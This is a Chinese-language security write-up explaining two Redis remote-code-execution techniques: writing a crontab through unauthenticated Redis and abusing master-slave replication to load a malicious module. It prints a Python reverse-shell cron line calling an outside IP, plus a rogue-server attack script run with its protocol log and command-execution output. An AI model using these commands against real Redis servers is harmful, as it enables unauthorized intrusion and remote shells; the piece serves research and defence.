Redis 基于主从复制的 RCE 利用方式

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作者:LoRexxar’@知道创宇404实验室

在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大,下面就让我们从以前的redis RCE利用方式出发,一起聊聊关于redis的利用问题。

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

 

通过写入文件 GetShell

未授权的redis会导致GetShell,可以说已经是众所周知的了。

127.0.0.1:6379> config set dir /var/spool/cron/crontabs
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> get 1
"\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n"
127.0.0.1:6379> save
OK

而这种方式是通过写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据,形似

[padding]
* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'
[padding]

这种主要利用了crontab、ssh key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了。

但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。

 

通过主从复制 GetShell

在介绍这种利用方式之前,首先我们需要介绍一下什么是主从复制和redis的模块。

Redis主从复制

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

这里我们开两台docker来做测试

ubuntu@VM-1-7-ubuntu:~/lorexxar$ sudo docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES
3fdb2479af9c        redis:5.0           "docker-entrypoint.s…"   22 hours ago        Up 4 seconds        0.0.0.0:6380->6379/tcp   epic_khorana
3e313c7498c2        redis:5.0           "docker-entrypoint.s…"   23 hours ago        Up 23 hours         0.0.0.0:6379->6379/tcp   vibrant_hodgkin

然后通过slaveof可以设置主从状态

这样一来数据就会自动同步了

Redis模块

在了解了主从同步之后,我们还需要对redis的模块有所了解。

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。

编写恶意so文件的代码

https://github.com/RicterZ/RedisModules-ExecuteCommand

利用原理

Pavel Toporkov在2018年的zeronights会议上,分享了关于这个漏洞的详细原理。

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

在ppt中提到,在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。

然后在从机上加载so文件,我们就可以执行拓展的新命令了。

复现过程

这里我们选择使用模拟的恶意服务端来作为主机,并模拟fullresync请求。

https://github.com/LoRexxar/redis-rogue-server

然后启用redis 5.0的docker

ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ sudo docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES
3e313c7498c2        redis:5.0           "docker-entrypoint.s…"   25 hours ago        Up 25 hours         0.0.0.0:6379->6379/tcp   vibrant_hodgkin

为了能够更清晰的看到效果,这里我们把从服务端执行完成后删除的部分暂时注释掉。

然后直接通过脚本来攻击服务端

ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381
TARGET 172.17.0.3:6379
SERVER 172.17.0.1:6381
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'
[->] b'+OK\r\n'
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[->] b'+OK\r\n'
[->] b'*1\r\n$4\r\nPING\r\n'
[<-] b'+PONG\r\n'
[->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[<-] b'+OK\r\n'
[->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[<-] b'+OK\r\n'
[->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[->] b'+OK\r\n'
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[->] b'+OK\r\n'

然后我们链接上去就可以执行命令

ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3
172.17.0.3:6379> system.exec "id"
"\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"
172.17.0.3:6379> system.exec "whoami"
"\bredis\n"

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